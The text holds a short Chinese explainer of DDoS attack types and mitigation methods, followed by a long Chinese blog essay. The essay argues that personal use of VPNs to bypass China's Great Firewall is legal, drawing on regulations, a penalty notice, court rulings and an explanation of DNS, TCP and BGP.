此类攻击利用 TCP 握手(两台计算机发起网络连接时要经过的一系列通信),通过向目标发送大量带有伪造源 IP 地址的 TCP“初始连接请求”SYN 数据包来实现。
目标计算机响应每个连接请求,然后等待握手中的最后一步,但这一步确永远不会发生,因此在此过程中耗尽目标的资源。
此类攻击试图通过消耗目标与较大的 Internet 之间的所有可用带宽来造成拥塞。攻击运用某种放大攻击或其他生成大量流量的手段(如僵尸网络请求),向目标发送大量数据。
若要缓解 DDoS 攻击,关键在于区分攻击流量与正常流量。
例如,如果因发布某款产品导致公司网站涌现大批热情客户,那么全面切断流量是错误之举。如果公司从已知恶意用户处收到的流量突然激增,或许需要努力缓解攻击。
难点在于区分真实客户流量与攻击流量。
在现代互联网中,DDoS 流量以多种形式出现。流量设计可能有所不同,从非欺骗性单源攻击到复杂的自适应多方位攻击无所不有。
多方位 DDoS 攻击采用多种攻击手段,以期通过不同的方式击垮目标,很可能分散各个层级的缓解工作注意力。
同时针对协议堆栈的多个层级(如 DNS 放大(针对第 3/4 层)外加 HTTP 洪水(针对第 7 层))发动攻击就是多方位 DDoS 攻击的一个典型例子。
为防护多方位 DDoS 攻击,需要部署多项不同策略,从而缓解不同层级的攻击。
一般而言,攻击越复杂,越难以区分攻击流量与正常流量 —— 攻击者的目标是尽可能混入正常流量,从而尽量减弱缓解成效。
如果缓解措施不加选择地丢弃或限制流量,很可能将正常流量与攻击流量一起丢弃,同时攻击还可能进行修改调整以规避缓解措施。为克服复杂的破坏手段,采用分层解决方案效果最理想。
有一种解决方案几乎适用于所有网络管理员:创建黑洞路由,并将流量汇入该路由。在最简单的形式下,当在没有特定限制条件的情况下实施黑洞过滤时,合法网络流量和恶意网络流量都将路由到空路由或黑洞,并从网络中丢弃。
如果互联网设备遭受 DDoS 攻击,则该设备的互联网服务提供商(ISP)可能会将站点的所有流量发送到黑洞中作为防御。这不是理想的解决方案,因为它相当于让攻击者达成预期的目标:使网络无法访问。
限制服务器在某个时间段接收的请求数量也是防护拒绝服务攻击的一种方法。
虽然速率限制对于减缓 Web 爬虫窃取内容及防护暴力破解攻击很有帮助,但仅靠速率限制可能不足以有效应对复杂的 DDoS 攻击。
然而,在高效 DDoS 防护策略中,速率限制不失为一种有效手段。
Web 应用程序防火墙(WAF) 是一种有效工具,有助于缓解第 7 层 DDoS 攻击。在互联网和源站之间部署 WAF 后,WAF 可以充当反向代理,保护目标服务器,防止其遭受特定类型的恶意流量入侵。
通过基于一系列用于识别 DDoS 工具的规则筛选请求,可以阻止第 7 层攻击。有效的 WAF 的一个关键价值是能够快速实施自定义规则以应对攻击。
此类缓解方法使用 Anycast 网络,将攻击流量分散至分布式服务器网络,直到网络吸收流量为止。
这种方法就好比将湍急的河流引入若干独立的小水渠,将分布式攻击流量的影响分散到可以管理的程度,从而分散破坏力。
Anycast 网络在缓解 DDoS 攻击方面的可靠性取决于攻击规模及网络规模和效率。
]]>本文旨在分析“翻墙”行为的法律风险,并基于现行规范性法律文件和相关案例进行学术讨论。在分析相关法条时可能需要对部分计算机专业术语进行释义。但本文不涉及有关“翻墙”的任何技术指导或方法的具体介绍。
另,本文讨论的一切“XXX合法与违法”问题,分析的主体都是“单纯访问境外网站”,不包括“访问、发布、传播违法有害信息”,后者当然属于违法犯罪行为,但这和翻墙行为没有任何本质联系,因为在境内网站也可访问、发布、传播违法有害信息。
在本文大致框架形成以前,我已查阅国内几乎所有关于“翻墙”的论文和文章,大部分探讨都存在着严重的问题,有些是法学常识性问题(或不讨论法律层面的问题),有些是计算机技术方面的常识性问题(常出现在法学类文章中)。
这是一个很有趣的现象——“翻墙”是一个同时牵涉法学和计算机技术的两个领域的跨学科问题。很多法学专家不了解技术;很多技术人员,也没有意愿探讨技术涉及的法律问题。这个疑难问题今天终于被我这个“既没学好法,又没学好计算机”的奇葩捡了漏。望两个学科的大佬们对于本文可能出现的纰漏予以指正!
如果你能完整阅读完这篇一万余字的文章(的第一章、第二章部分),你最大的收获,就是能够认识到某律所文章的部分段落(见下文引用部分)在论证中犯下的严重前提错误:
由于企业的“翻墙”行为既未使用合法的“国际出入口信道”,也未接入合法的“接入网络”,甚至未使用境内的“互联网络”,已经违反了《中华人民共和国计算机信息网络国际联网管理暂行规定》的规定,公安机关有权责令企业停止国际联网行为,同时给予警告,并处以15000元以下的罚款。
在看完第四章的基础上),你将对“GFW”、“翻墙”等话题有更深入、更正确的认识,同时避免被不怀好意的人的类似观点(见下文引用部分)欺骗。
因为全球大部分根域名服务器都设立在美国,所以美国掌握互联网的底层,而中国必须建立GFW来保障互联网安全。这也是互联网+产业安全运转的重要基础。
本文论证的逻辑链如下:
国际出入口信道是物理信道,现行法只规定不允许非法架设物理信道——翻墙必定使用合法物理信道(主要在第四章展开论证)——翻墙不违法
本文的主要结论如下:
“个人使用vpn等工具翻墙”的禁止性规定是不存在的,无论是从技术角度还是法律方面,访问境外网站和境内网站没有任何本质区别;
一切翻墙行为都必须使用国家批准的合法国际出入口信道,因为全球互联网的本来面貌就是所有国家网络基建的互联互通(主要在第四章展开论证);
GFW的运行基本原理是“网络攻击或入侵检测”(主要在第四章展开论证);
“翻墙”的基本原理是抵御“网络攻击或入侵检测”(主要在第四章展开论证)。
2018年12月28日,广东韶关南雄市公安局对“翻墙”的朱某某作出行政处罚决定,理由为“擅自建立、使用非法定信道进行国际联网”,处以1000元人民币罚款,其处罚依据为《中华人民共和国计算机信息网络国际联网管理暂行规定》第六条、第十四条。
广东公安执法信息公开平台行政处罚决定书信息 韶雄公(网)行罚决字 [2019]1号
http://www.gdgafz.alldayfilm.com/bookDetail.html?type=1&id=1134323
笔者此前看到此新闻时一度是不相信的,但未曾料到,近日在检索过程中真的在官方信息公开平台查到了这一案件的处罚决定。但上图显示的“行政处罚决定书”拍摄样图并非来源于官方,且样图有很多可疑之处(法律文书课老师看到可能会被气哭),在此提前予以指出:
标准模板,横线是提前固定的,但细看便可发现,正文文字下划线与页面的边距不统一,因此这明显是在正文文字填写之后才事后加上“下划线”格式的。且文字没有统一边距;
在“现查明”的正文部分,“‘蓝灯’(Lantern Pro)软件APP”中的“软件”和“APP”系表意相同的两个名词,此处连用存在语病,十分怪异;
在内容部分,“且最近一周的登陆次数为487次”并没有相应的证据材料予以佐证。首先,行政相对人不可能记住自己使用vpn的连接次数,因此该数据不可能从询问笔录中反映出来。
其次,手机app本身并不会保存每天的连接次数,也没有日志的功能;
此外,即使该数据在手机和app内部以日志的形式保存,行政机关也不可能靠妄加猜测突然检查朱某某的手机,而是只可能使用远程手段(例如公安机关远程监控系统、电信运营商的举报或直接向运营商收集用户访问境外ip地址相关信息),但这样的证据并没有在此份决定书样图中反映出来,所以在证据层面是可疑的。
另附一份我在实习期间曾经手的一份行政处罚决定书的模板(关键信息已经隐藏)。从图中可见,基层机关行政处罚决定书的格式和行文要求是非常高的。而前后两相比较,可以看出前一份处罚决定书颇有些山寨的味道。
当然,上述文书所反映的问题并不必然证明其为刻意捏造,因为笔者对于不同地区基层行政机关的法律文书和执法水平差异并不了解,但至少上述缺陷会降低该材料的可信度。
上述行政处罚案件的处罚依据如下:
《中华人民共和国计算机信息网络国际联网管理暂行规定》(国务院令第195号)(1996年1月23>日)
第六条 计算机信息网络直接进行国际联网,必须使用邮电部国家公用电信网提供的国际出入口信道。任何单位和个人不得自行建立或者使用其他信道进行国际联网。
第十四条 违反本规定第六条、第八条和第十条的规定的,由公安机关责令停止联网,给予警告,可以并处15000元以下的罚款;有违法所得的,没收违法所得。
关于发布《计算机信息网络国际联网出入口信道管理办法》的通知(邮部〔1996〕492号)
第二条 我国境内的计算机信息网络直接进行国际联网,必须使用邮电部国家公用电信网提供的国际出入口信道。
任何单位和个人不得自行建立或者使用其它信道(含卫星信道)进行国际联网。
有很多人一看到“自行建立或使用”、“国际出入口信道”就激动地跳了起来,认为其含义和“使用vpn访问境外网站”是同一种意思,但实际上这是一个非常大的误解。
首先,从立法渊源上看,“国际出入口信道”一词最早起源于1996年出台的《中华人民共和国计算机信息网络国际联网管理暂行规定》(下称暂行规定)和关于发布《计算机信息网络国际联网出入口信道管理办法》的通知(邮部〔1996〕492号)(下称管理办法)。但很遗憾,在两部规范性法律文件内,并没有对“国际出入口信道”作出释义。但从后者的第二条第二款我们可以从“(含卫星信道)”这一标注中洞察到“信道”可能的含义——即它很可能具有物理意义。
好在,1998年国务院信息化领导小组又出台了一部相关的部门规章,对“国际出入口信道”的含义作出了明确的规定。
关于印发《中华人民共和国计算机信息网络国际联网管理暂行规定实施办法》的通知
(国信[1998]001号)
第三条 本办法下列用语的含义是:
(三)国际出入口信道,是指国际联网所使用的物理信道。
因此,国际出入口物理信道,只限于陆地光缆、海底光缆以及卫星通讯等实际存在的、供国内外进行数据、信息交换的物理介质。
根据《电信业务分类目录(2015年版)》,国际联网所使用的物理信道包括但不限于以下几种:国际陆缆、国际海缆、陆地入境站、海缆登陆站、国际地面传输通道、国际卫星地球站、卫星空间段资源、国际传输通道的国内延伸段,以及国际通信网带宽、光通信波长、电缆、光纤、光缆等国际通信传输设施。
与此同时,我们在立法中可以发现不少细节,其足以就“国际出入口信道属于物理信道”这一论点找出进一步的佐证。
首先必须对GFW的渊源有一定的了解。
防火长城(英语:Great Firewall,常用简称:GFW,中文也称中国国家防火墙,中国大陆民众俗称墙、网络长城、功夫网等等),是对中华人民共和国政府在其互联网边界审查系统(包括相关行政审查系统)的统称。此系统起步于1998年,其英文名称得自于2002年5月17日Charles R. Smith所写的一篇关于中国网络审查的文章《The Great Firewall of China》,取与Great Wall(长城)相谐的效果,简写为Great Firewall,缩写GFW。
来源:维基百科:https://zh.wikipedia.org/wiki/防火长城
可以发现,GFW项目在1998年才刚刚起步,其命名甚至在2002年才出现,继而才出现“翻墙”这一概念。1996年《中华人民共和国计算机信息网络国际联网管理暂行规定》出台之时,甚至没有GFW这一概念的存在,事实上也根本不存在互联网审查,那么,1996年、1998年规范性法律文件中的概念何以提前预测并指向1998年以后才诞生的事物?一项禁止性规定又何以禁止不存在的东西?
因此,毫不避讳地说,若国内各地基层公安机关真的广泛存在“依据上述规范性法律文件对公民的‘翻墙’行为予以处罚”的现象,那绝对是明显的适用法律错误。
更进一步,《暂行规定》为“擅自设立非法国际出入口信道”的行为设定了行政处罚事项,而该处罚的裁量基准是“15000元人民币以下”。这个数字,从当今的经济水平来看,对于个人来说不算一个很大的数字(但实际上这个上限对于个人来说已经很高了)。但是我们不要忘了,设立该处罚事项的规范性法律文件是在1996年出台的,我们必须关注1996年前后的职工平均工资水平,才能洞察“1万5”在行政裁量基准上的合理与否。
关于公布上海市1998年度职工月平均工资、国有企业职工年平均工资及增长率的通知
二、1998年度全市国有企业职工年平均工资为11546元,比上年增长0.8%(增幅按国家统计局新口径作了相应调整)。凡按1998年国有企业职工年平均工资计算的事项,均按此水平执行。
沪劳保综发(1999)18号 上海市劳动和社会保障局
(来源:http://law.51labour.com/lawshow-36037.html)
你很难想象,在1998年,上海市作为全国经济重镇,职工的年平均工资才1万余元,但“翻一次墙”的行政处罚上限就可以达到一个上海普通职工工作一年半获得的工资——这不仅完全与行政法比例原则相违背,且即使是没有法学基础的人看到这样的景象都会感到震惊和难以置信。因此,我们从行政处罚的裁量基准可以反推得出,触犯上述规定的行政相对人,更可能是资本力量雄厚的企业——毕竟,一家有能力往台湾海峡私拉电线埋下海底光缆、或者为了“逛推特”专门制造并发射私人通信卫星的企业,才可能承受1万5的罚金。“建立国际出入口信道”,还真不是你普通人玩得起的!
但很有意思的是,《暂行规定》历经20多年,裁量基准竟然从未发生变化,依旧是上限一万五。但是1996年的一万五和2020年的一万五,可完全不是一个数量级的。但立法部门竟然从没有想着修订,也着实让人奇怪。
有人会进一步质疑,“国际出入口信道”这一概念,有没有可能随着时代的发展以及新规范性法律文件的出台,从而被赋予新的内涵和外延呢?我们不妨找一找最近几年的相关文件和新闻来分析一下。
为了推动中国与塔吉克斯坦、巴基斯坦间国际通信业务的共同发展,促进区域的共同繁荣,工业和信息化部批准中国电信设置塔什库尔干国际通信信道出入口,为中亚、南亚区域经济发展提供良好的通信平台和保障。
中塔直达光缆的建设,可以满足中塔间双边落地业务需求……(省略)……中巴直达光缆的建设将从根本上改变……(省略)……,满足中把双边落地及转接业务需求,对巴基斯坦国际出入口带宽能力的丰富和提升具有重大战略意义。
工业和信息化部批准设置塔什库尔干国际通信信道出入口 发布时间:2011-06-27 来源:电信管理局
链接:http://www.miit.gov.cn/n1146290/n1146402/n7039597/c7065495/content.html
首先,从2011年工业和信息化部的“批准设置塔什库尔干国际通信信道出入口”的新闻中,我们可以明显看出一个因果联系,即【国际出入口的设立→提升了国际出入口带宽能力】,而只有物理意义的光缆才可能事实上增强数据出入境的吞吐量,虚拟网络连接是做不到的,因此很容易进一步推导得出——“设置国际通信信道出入口”其本身就是“建设直达光缆”,因此,此时“信道”仍然是物理意义上的。
进一步,从近期的规范性法律文件来看,与“翻墙”关系最密切的莫过于工业和信息化部关于清理规范互联网网络接入服务市场的通知(工信部信管函[2017]32号) 以及工业和信息化部办公厅关于深入推进互联网网络接入服务市场清理规范工作的通知(工信厅信管函〔2018〕161号)。
工业和信息化部办公厅关于深入推进互联网网络接入服务市场清理规范工作的通知
但随着清理规范工作深入开展,一些深层次矛盾逐步浮出水面,部分企业违规自建传输网络、非法经营传输业务及违规经营跨境数据通信等问题仍较为突出,……(省略)……有关事项通知如下:
四、各基础电信企业要加强网络资源和用户台账管理,采取技术、管理、法律等措施,防范网络资源被用于非法经营。要配合各通信管理局做好违规线索核查,及时关停被用于非法经营、违规使用的网络资源。
工业和信息化部关于清理规范互联网网络接入服务市场的通知(工信部信管函[2017]32号)
二、工作重点
(二)严格资源管理,杜绝违规使用
4.违规开展跨境业务问题。未经电信主管部门批准,不得自行建立或租用专线(含虚拟专用网络VPN)等其他信道开展跨境经营活动。基础电信企业向用户出租的国际专线,应集中建立用户档案,向用户明确使用用途仅供其内部办公专用,不得用于连接境内外的数据中心或业务平台开展电信业务经营活动。
看到这两份文件的一些措辞,很多人又会将“专线(含虚拟专用网络VPN)等其他信道”等同于1996年、1998年文件提及的“国际出入口信道”,但两者是不同的概念。
首先应当明确的是,两者的规制主体范围是不同的,1996年文件针对的是所有企业和个人,而2017年文件仅限于跨境业务经营的企业;96年文件中“国际出入口信道”概念的外延仍然受到1998年《中华人民共和国计算机信息网络国际联网管理暂行规定实施办法》的限制,即其外延仅限于物理层面的信道,而2017年文件中的“专线”(含虚拟专用网络VPN)同时包含物理层面的信道以及虚拟专用网络。因此,前者(因“信道”的物理性而)不限制个人使用虚拟vpn,后者也(因规制主体不包括个人而)不限制个人使用虚拟vpn。
另外,分析法条不能脱离于立法背景,之所以将17年、18年两份文件并列展示,是因为两者立法在“规制vpn”领域的意图是一致的——“部分企业违规自建传输网络、非法经营传输业务及违规经营跨境数据通信等问题仍较为突出”、“防范网络资源被用于非法经营”。其表明,相关文件的出台针对的是企业违规跨境经营以及无资质企业非法经营网络服务(包括云服务、CDN服务),但与个人访问境外网站皆无直接关系。
值得一提的是,虽然上述文件是为了规制“企业违规使用vpn服务”的乱象,但其具体的措施却是将市场上一切没有相关资质的vpn服务全部一刀切,而相当多的vpn服务的主要受众是普通大众。因此,从名义上,政府规制的是企业违规跨境经营,但实际上对于个人用户访问境外网站产生了极为深远的消极影响,一个很直观的事实就是——自2018年以来,apple store的所有vpn软件全部下架。因此,其公开的立法目的和最后的政策效果是有很大差距的。
我认为近些年人们对于“翻墙”的研究和讨论有些本末倒置了。
行政法规作出一个禁止性规定,首先要有禁止的主体和对象。换言之,在我们讨论“翻墙违法性”之前,我们应当先讨论到底什么是“墙”,“墙”到底存不存在。
这道墙在我们每个人眼中看来,显然它是事实存在的。我在上一篇文章提及一个想法——“在一个个生活事实和亲身体验中,人的大脑永远不会欺骗自己”。但是,生活事实和亲身体验很可能影响我们对于一件事情在法律意义上的判断——因为人们倾向于相信,如果一件事情在生活中是被事实禁止的,那么他就一定规定在了法条上。
但实际上:
没有任何一个公开的规范性文件规定过:个人不允许访问境外网站。
没有一个哪怕是效力最低的红头文件敢声称:访问youtube、Twitter是违法的。
如果你觉得有,请带着法条来找我(但请不要携带上述我提及的规范性法律文件来找我)。
其实到这一段为止,关于个人翻墙的法律问题已经全部讲完了,但还没有形成完整的逻辑链。因为上文只解决了大前提的问题,若没有论证翻墙行为的本质这一小前提,那么就不能得出翻墙合法或违法的结论。因此在下面一节,我提前总结了技术方面的几个重要结论(虽然不是法律问题,不应放在这一章),它们的论证部分统一放在本文第四章,其论证过程是相当庞杂和啰嗦的,因此第四章仅供感兴趣的朋友们阅读。而对于大多数人来说,看完下一节的结论性总结(且无条件相信的话),对于个人翻墙问题的讨论实际上已经可以就此终结了。
上文,我们明确了现行法对于个人上网的禁止性规定只限于“禁止违规搭建违法物理信道”,那么翻墙是否就是其字面意思——从一堵墙私拉一根网线翻过去呢?答案是否定的。
在看完第四章的互联网技术讨论部分,你会对以下几个重要事实有基本的认识。
(1)
任何人通过任何手段访问任何境外网站,不管是合法手段还是非法手段,不管是访问合法网站还是有违法信息的网站,其必定要通过中国电信、中国联通和中国移动三家电信运营商(经批准)架设的陆上或海底光缆。因此,翻墙不可能违反关于“物理信道”的规定,如果有,那就是适用法律错误。
(2)
全球互联网的本来面貌并非是每一个国家都在各自为政,各自建立一个庞大的“局域网”,相反,几乎所有国家的网络都是互联互通的。有了国家之间建设的陆上、海底光缆,民众访问境内网站和境外网站从技术上是没有任何区别的,在现行法意义上也是没有任何区别的。
(3)
你不能访问境外网站唯一的原因,是你正在遭受DNS劫持、域名污染、DDOS攻击、TCP旁路阻断、BGP劫持(黑洞路由)等网络攻击或防御手段。(这些专业名词会在第四章详细介绍。)这些攻击防御手段只有技术人员才能感受到,普通人唯一的感受就是无法访问外网。当前没有任何公开的官方文件证实了上述攻击手段存在,现行法也没有为上述任何网络攻击手段提供合法性依据。
(4)
你通过任何手段进行翻墙,这一行为的本质是抵御或逃避上述网络攻击,并使用国家批准的合法互联网基础设施访问境外网站,不存在违法的问题,也没有实际的社会危害。
这一段虽然和本文主题“个人翻墙”并没有直接关系,但本文的结论和现行司法实践对于“出售翻墙工具”的论证是矛盾的,所以必须指出来。
下图展示了可能涉及“翻墙”的罪名,我们主要关注第一类案由:“非法出售可访问境外互联网网站的'VPN'翻墙服务”,其对应的罪名是“提供侵入、非法控制计算机信息系统程序、工具罪”。
目前出售翻墙服务是违法犯罪行为,相关的案例在无讼的检索结果中不计其数。法院判决的论述部分基本上与下面的引用大同小异:
本院认为,被告人为牟取非法利益,违反国家规定,在互联网推广用于侵入计算机信息系统的程序、工具,情节特别严重,其行为已构成提供侵入、非法控制计算机信息系统的程序、工具罪。公诉机关指控的罪名成立。经查,本案的“XXX”软件,利用公用网络架设专用网络,并进行数据加密传输,使计算机信息系统自由访问中国境内无法访问的境外网站,因此,该软件属于“用于侵入计算机信息系统的程序、工具”。被告人在未经电信主管部门批准的情况下,提供的“XXX”软件使客户的计算机自由访问境外网站,数据传输受到加密保护,突破我国技术安全防护措施,危害了国家信息网络安全,符合提供侵入、非法控制计算机信息系统的程序、工具罪的客体。
(2018)鄂1202刑初389号
自从我学习了这个罪名以来,就对此抱有极大的质疑。翻墙工具怎么可以等同于“用于侵入计算机信息系统的程序、工具”?
一个最简单的反驳实例就是,GFW最早的原理是将google.com指向无效ip地址(即第四章论述的DNS污染/域名劫持),而最早的翻墙原理是在本地建立一个DNS库,将google.com指向真实的ip地址,或者使用8.8.8.8这样尚未被污染的DNS服务器,这样当你在浏览器键入google.com这一域名的时候,其就会访问正确的服务器。而这一行为的唯一操作步骤,就是打开windows的一个名为hosts的系统文件,将谷歌域名对应的ip地址录入,或者修改本地网卡的DNS设置,翻墙的效果就达成了。这样一个简单的步骤,怎么可能侵入了外人的计算机信息系统?
而“架设专用网络,进行数据加密”是一个非常常用的网络应用,很简单的例子,在家里访问学校的图书馆以及学术资源,要打开vpn软件,这就是建立了一个加密通道,其和翻墙软件的原理是一模一样的,只存在结果上的不同。而这种技术突破“我国技术安全防护措施”的唯一原因,是由于这个所谓的“防护措施”会对你的网络请求进行分析,而加密流量很难被分析。况且,现行的规范性法律文件从没有提及这些法院判决中提到的“我国技术安全防护措施”。
另一个很有意思的问题是法院判决中通常会提到的“使计算机信息系统自由访问中国境内无法访问的境外网站”。但看了本文第四章,你就会认识到,这个世界上的互联网的本来面貌,就是让每个人可以自由地访问不同国家的服务器,并且这种自由在2002年以前是普遍存在的,在2010年以前也是大部分人都能享受到的。除非真的有一部行政法规出台,告诉我个人不能访问境外网站,这样我才能理解法院竟然能给出这样的表述。
另外,你可以洞察到,在法官论证部分,通常会有常人难以发现的跳跃性和滑坡论证。例如,“利用公用网络架设专用网络,并进行数据加密传输,使计算机信息系统自由访问中国境内无法访问的境外网站,因此,该软件属于“用于侵入计算机信息系统的程序、工具”。”这句话看似行云流水,但你细究下来,就会产生非常多的疑问——为什么一个工具可以自由访问原本无法访问的境外网站,就是侵入计算机信息系统的工具?为什么有些网站不能访问,其依据是什么?侵入的是哪一个计算机信息系统?该系统的ip地址是什么?地理位置具体在哪里?有什么相关规定吗?这种暧昧和含糊其辞其实不难理解,因为GFW这个词真的从未出现在某个文件上,但难以想象,“翻墙”这个词居然可以在相关的判决文书中随处可见。
但是,我是绝对支持对一些市面上大部分出售翻墙工具的人进行惩罚的,因为他们之中很多人都只是偷窃了开源项目技术人员的劳动成果,亦或是提供与其宣称不符的劣质(违法)产品,从而收取暴利,收割智商税。从构成要件上看,我认为其更加符合非法经营罪的构成要件,而非提供侵入、非法控制计算机信息系统程序、工具罪,因为后者在论证上存在着严重的逻辑漏洞。
另外,不仅仅是出售翻墙工具,还有很多技术人员因为编写开源翻墙项目而获此罪名。因此,这一领域的法律问题应该结合计算机技术问题被更深入、更广泛的探讨,这也是我写这一篇文章的初始动机。因为很多人确实需要通过境外网站查询学术资料、海淘等,这些行为都不存在违法性。而当他们使用翻墙工具访问境外网站大多不受惩罚的同时,惩罚却被转嫁到了提供翻墙方法的人之上。
而与此同时,现在社会上出现一种声音,他们也同意国家根本不禁止个人翻墙,但他们更进一步表达了他们的自信和乐观,他们认为国家不仅不禁止翻墙,还鼓励有独立思考能力的人翻墙输出文化(依据是李子柒);同时认为:对于真正有独立思考能力的人来说,翻墙实在是太容易了,甚至他们会用嘲讽的语气阴阳怪气道:“没有独立思考能力的人活该待在墙内”。这种风气我认为非常不好,毫不避讳地说,这是吃人血馒头的行为。因为他们不知道,真正致力于“为他们寻找访问境外网站方法”的人,大多承受着极大的法律风险,而与此同时,GFW的技术手段越来越强悍,翻墙的成本越来越高,普通人甚至很容易在这一领域被骗——对于这些问题,他们向来是采取无视态度的。如果让这种声音成为这个社会的主流,那么我对这一领域在未来进展的预测将是极其悲观的。
更进一步,我们应当思考,当程序员为“人们正常访问合法境外网站”而努力的时候,法律工作者的努力又在哪里?为什么现在大部分法律工作者都在就着错误的计算机基本常识来进行法律方面的论证呢?我不禁陷入了深思……
在了解GFW和翻墙的原理之前,你必须对互联网运行的基本原理有一个宏观的了解——至少,你需要知道当你在浏览器键入baidu.com,页面呈现在你眼前时,究竟发生了什么。你只有知道发生了什么,才可能看懂GFW是怎么样阻止你访问网页,而翻墙又是如何让你穿越重重阻碍成功访问境外服务器的页面的。
我们之中一定有很多人还依稀记得高中、大学计算机课曾提及“互联网分成好几个层次”。最浅显易懂的当然是物理层,因为日常生活中,光纤、网线、电话线之类的东西是随处可见、看得见摸得着的。
那么,关于GFW和翻墙的一切话题,都在上述模型中的哪一层呢?你以为他们在第一层(物理层),实际上他们分布在第三层(网络层)、第四层(传输层)和第七层(应用层)。
为了让大家更好地理解这个“老千层饼”,我分别以访问baidu.com主页和境外服务器ip来简单阐述一下其过程中涉及的原理(对应OSI参考模型)。
浏览器并不会直接聪明地找到百度的服务器。
正如我们在使用传统电话时,不可能直呼一个朋友的名字,电话就自动打过去了——我们一定需要知道朋友的电话号码。此时baidu.com就相当于你的一个朋友的名字,而它的电话号码就是我们熟知的ip地址(第三层:网络层)。但我们不可能像记住朋友手机号那样记住baidu.com对应的ip地址39.156.69.79,而是需要一个电话号码簿替我们记住。这个电话号码簿有很多种,例如浏览器缓存(短时)、本地DNS缓存、hosts文件、网卡配置信息里的DNS服务器以及DNS根域名服务器,优先级从前到后。在上述所有“电话号码簿”中,都记载了“baidu.com=39.156.69.79”这样一个信息,当我们命令浏览器访问baidu.com时,(若浏览器缓存、本地DNS缓存、hosts文件都没有记载这位朋友的号码),那么浏览器就会使用UDP协议(第四层:传输层)向DNS服务器请求baidu.com背后的ip地址,DNS服务器域名系统解析(第七层:应用层)后返回正确的ip地址。
浏览器拿到ip地址后向正确的服务器发送http请求
http协议(第七层:应用层)是建立在tcp协议(第四层:传输层)基础之上的的,tcp在建立连接前有三次握手。
通过dns解析之后,拿到了ip,就可以通过ip向服务器发送http请求了,因为http是工作在第七层应用层,tcp是工作在第四层传输层,所以发生http请求之前,还会进行tcp的三次握手。
tcp的三次握手是:客户端首先向服务器发送一个带有SYN标识和一个seq的随机数,服务端收到后,需要给客户端回应一个ack,ack的值就是刚才的seq随机数的值+1,在回应包里,还包含一个SYN的标识和一个seq随机数。客户端收到服务端发过来的回应包之后,再给服务端发送一个ack,ack的值就是刚才服务端发过来的seq的值+1。上面三步完成之后,三次握手就完成了,下面就可以开始传数据了。
为什么建立连接要这么复杂呢?一切为了安全和可靠。DNS服务所运用的UDP协议和http请求的tcp协议最大的区别在于,UDP就像一个在国际货物运输过程中前赴后继、不顾一切的承运人,它努力以最快的速度把“货物”交付到你手上,但态度极差,从来不主动跟你联系,也不会接你的电话,货物是否损毁或者送错了人都不在它的义务范围内;而TCP就像一个严谨、可靠、负责、慢条斯理的承运人,它在为你进行货物运输时会不断和你建立联系,在送货前不停打电话跟你反复确认,而且要打三次,生怕送错了人,送完货物也会不紧不慢地和你再三确认,要跟你打四通电话。
网上一个更形象的例子是——
TCP 三次握手好比在一个夜高风黑的夜晚,你一个人在小区里散步,不远处看见一位漂亮妹子迎面而来,但因为路灯有点暗等原因不能100%确认,所以要通过招手的方式来确定对方是否认识自己。
你首先向妹子招手(syn),妹子看到你向自己招手后,向你点了点头挤出了一个微笑(ack)。你看到妹子微笑后确认了妹子成功辨认出了自己。
但妹子有点不好意思,向四周看了一看,有没有可能你是在看别人呢?她也要确认一下。妹子也向你招了招手(syn),你看到妹子向自己招手后知道对方是在寻求自己的确认,于是也点了点头挤出了微笑(ack),妹子看到你的微笑后确认了你就是在向自己打招呼。于是两人加快步伐,走到一起,彼此之间相互拥抱。
tcp三次握手已经很生动形象了,但毕竟从上海发送一个数据包至百度架设在北京的服务器的难度,与“在小区里和美女当面互相打招呼”的难度压根不在一个数量级,数据包是如何通过祖国大地下架设的“杂乱无章”、连通全国的光纤中找到去往北京的最快的路,而不至于兜圈或者迷路呢?
这要得益于国内几家国有电信运营商建立的庞大的骨干网和城域网。我们作为外行,可以把这种网络理解成一个个互相连通的节点。
例如,中国电信163骨干网分为北京、上海、广州3大片区,这三个片区有大型的骨干路由作为邻近省级区域的数据交汇中心,例如上海片区涵盖了上海、江苏、安徽、山东、浙江、福建、江西这几个省,而每个省的内部又有庞大的、互相连接的城域网,而在某个城市的城域网内部,又有数以万计的学校、企业、家庭等局域网的接入,从而形成了从局域网→城域网→广域网三个层级。
此外,不只是中国电信,其他运营商也有各自的骨干网,例如中国联通有CHINA169骨干网和CNCNET骨干网,中国移动有CMNET全国骨干网……不同国家级互联网业务提供商(Internet Service Provider, ISP)建立的不同骨干网之间也有数据交换的中心,这使得信息和数据包可以自由地从全国的任何地方流向任何地方。(相关链接:《互联网骨干网全面解析》https://zhuanlan.zhihu.com/p/32090927)
连通性的问题解决了,还要解决数据包在庞大的“网上公路”迷路的可能性。在上述提到的各个级别的网路中,分布着无数路由节点,每一张骨干网都有自己负责的路由群组和节点,整个群组统称为as自治系统(Autonomous system),每一个骨干网管理的as自治系统都经过名为互联网号码分配局的国际机构分配唯一识别代码,例如,中国电信163骨干网的as自治系统编号为AS4134。每一张骨干网都有内部路由协议,每一个节点都在依据某种规定互相交换他们所连通的ip地址信息,作为数据包在“旅行”过程中的指路人。而全国性的骨干网之间也依靠外部路由协议互相交换它们所掌握的“服务器地图“,典型的有BGP协议。
边界网关协议(英语:Border Gateway Protocol,缩写:BGP),一个去中心化自治路由协议。它通过维护IP路由表或‘前缀’表来实现自治系统(AS)之间的可达性,属于矢量路由协议,其使用基于路径、网络策略或规则集来决定路由。
维基百科 https://zh.wikipedia.org/wiki/边界网关协议
BGP协议使得各大骨干网的路由节点可以以tcp数据包的形式互相转发其掌握的路由信息,从而形成一个庞大的、完整的决策网,对数据包提供全面的“导航服务”,它能计算出数据包从一个客户端通往另一个外省客户端必经的最优路线和路由节点。条条大路通罗马,当一个路由节点故障时,因为各个节点都互相沟通,从而可以带领数据包选择其他路线通网可达的节点,避免“兜圈子”、“迷路”等情况。
使用traceroute(链接:https://tools.ipip.net/traceroute.php),可以利用ICMP 协议定位您的计算机和目标计算机之间的所有路由器节点。下图展示了我从自己的计算机访问百度设在北京的服务器39.156.69.79所经过的骨干网和路由节点,可以看见其经过了AS4812(中国电信163骨干网)的124.74.232.53、124.74.166.125等路由节点,而其途径的AS9808为中国移动骨干网的AS自治系统。
→https协议更加安全,其在tcp握手的基础之上增加了以下步骤:
验证服务器数字证书、在SSL安全加密隧道协商加密算法的密钥等。
在了解了国内数据包交换原理之后,全球的数据交换就很好理解了——你可以简单地把它理解为国家级骨干网之间的连接和交换。而从国内访问境外服务器有一个特殊之处就在于,我国的国际出入口运营资质是被中国电信、中国联通、中国移动三家国家级ISP垄断的。
